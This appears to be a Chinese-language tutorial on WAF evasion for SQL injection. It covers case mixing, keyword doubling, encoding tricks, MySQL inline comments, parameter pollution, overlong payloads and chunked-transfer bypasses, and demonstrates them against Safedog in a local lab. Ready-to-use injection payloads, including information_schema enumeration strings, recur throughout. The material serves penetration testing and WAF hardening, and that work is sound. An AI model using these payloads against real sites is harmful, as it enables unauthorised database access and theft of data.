WAF 是什么?
全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。
WAF是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种网络安全产品。WAF可以增大攻击者的攻击难度和攻击成本,但是不是100%安全的。
目前市场上的WAF主要有以下几类:
基于硬件WAF:绿盟WAF;
基于软件WAF:以安全狗为代表;
部署在云端的WAF:百度加速乐、安全宝等。
我们谈绕过WAF,其实就是谈如何绕过过滤机制。
绕过WAF的技术可分为以下几类:
本文接下来对这几类方法进行介绍。
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术。
z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union、UnIoN等等绕过。
1、关键字双写
这种情况下大小写转化无法绕过,正则表达式会替换或删除select、union这些关键字,如果只匹配一次就很容易绕过。
z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
有些时候甚至构造得更复杂:SeLSeselectleCTecT,不过不建议对此抱太大期望。
2、同价词替换
&&
和||
能不能用;<、>
,因为如果不小于又不大于,那就是等于了;%20 %09 %0a %0b %0c %0d %a0 /**/
。【注释】 在mysql中
%0a
是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗。而在sqlserver中可以用/**/
来代替空格。
3、特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/
来绕过,在mssql中,函数里面可以用+
来拼接。
1、URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20
、单引号%27
、左括号%28
、右括号%29
等。普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:
page.php?id=?id=1/**/UNION/**/SELECT
经过两次解码:
page.php?id=1%252f%252a*/UNION%252f%252a*/SELECT
2、十六进制编码
z.com/index.php?page_id=-15/*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点。
3、Unicode编码
看一下常用的几个符号的一些Unicode编码:
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到使用二进制的例子。
看一下常见的用于注释的符号有哪些://, -- , /**/, #, --+,-- -, ;,--a
1、普通注释
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/
在构造得查询语句中插入注释,规避对空格的依赖或关键字识别。#、--+
用于终结语句的查询。
2、内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/
只有MySQL能识别(/*!*/
表示注释里面的语句会被执行)。
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*
在内的这些字符能正常使用。
HPP(HTTP Parameter Polution)又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3
,对于这种情况,不同的Web服务器处理方式。
示例代码:
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过。
缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过。
举个例子:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000
指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出。
整合的意思是结合使用前面谈到的各种绕过技术,单一的技术可能无法绕过过滤机制,但是多种技术的配合使用成功的可能性就会增加不少了。
举个例子:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
本次实验采用的是win10下面的phpstudy+安全狗。安全狗开启http安全监测,可以看到会过滤and or等关键词:
在根目录,写一个最简单的php页面如下:
header("Content-Type: text/html;charset=utf-8");
$id = $_REQUEST["id"];
if ($id){
echo "接收到的id为" . $id;
}
else{
echo "No id";
}
?>
采用$_REQUEST
既可以接收post参数也可以接收get参数,我们来试试安全狗有没有用,尝试加关键字and:
可以看到,请求中含有SQL注入关键字的都会被拦截。
在通过http传输文件的时候,通常会有一个Content-Length用来指定文件的长度,比如传输图片,静态页面,客户端也以Content-Length作为接收内容结束的标志,接收完毕后就可以断开连接了。但是有时候发送方并不能确定内容的长度,造成的影响就是:接收方无法通过Content-Length得到报文体的长度,也就无法得知什么时候应该中断连接。
为此我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界。
HTTP 1.1引入了分块传输编码的方式。只要在header头部加入 Transfer-Encoding: chunked
,就代表这个报文采用了分块编码。此时不用指定Content-Length接收方也可以知道什么时候传输结束了,只需要约定一个信号即可,比如,接收方只要接收到一个长度为0内容为0的分块,则代表传输完毕。
那么怎么样将一个普通的报文改编成分块传输形式的呢?
报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的CRLF(rn),也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0,对应的分块数据没有内容(两个空行),表示实体结束。
下面用一个最简单的例子,向本地post一个数据包,为id=123455:
可以实验一下,如果关闭burp在repeater选项里面自带的content-length补全功能,然后去掉Content-Length,就无法接收到id。
接下来我们将其改为分块传输的方式:
通过上图可以看到,即使没有Content-Length,我们也可以采用分块传输的方式,分多少块,每块多大都不是唯一的,但是最后的结尾需要一个长度为0内容为空的块(内容为两个空行)。
当我们将传输的内容分块时,处理后的HTTP请求由于和已知的payload相差较大,所以可以起到一定的绕过WAF的效果。比如我们来试试安全狗:
可以看到当对id=1 and 1=1
进行分块后传输,可以绕过安全狗的检查。
但是有一些如Imperva的,360等比较好的WAF已经对传输编码的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。
这个时候我们可以在每个分块长度标识处加上分号“;”
作为注释,如下所示:
几乎所有可以识别传输编码数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。
此外构造畸形的分块数据包还可以绕过ModSecurity,具体可以看参考文章,这里本地没有复现。关于该绕过方法的局限性,chunk只能在POST方法中使用,如果是GET方法的注入点就无法绕过。
对于burpsuite,已经有人做出了将普通的post数据包转变为分块数据包的插件,地址为:BurpSuite分块编码插件。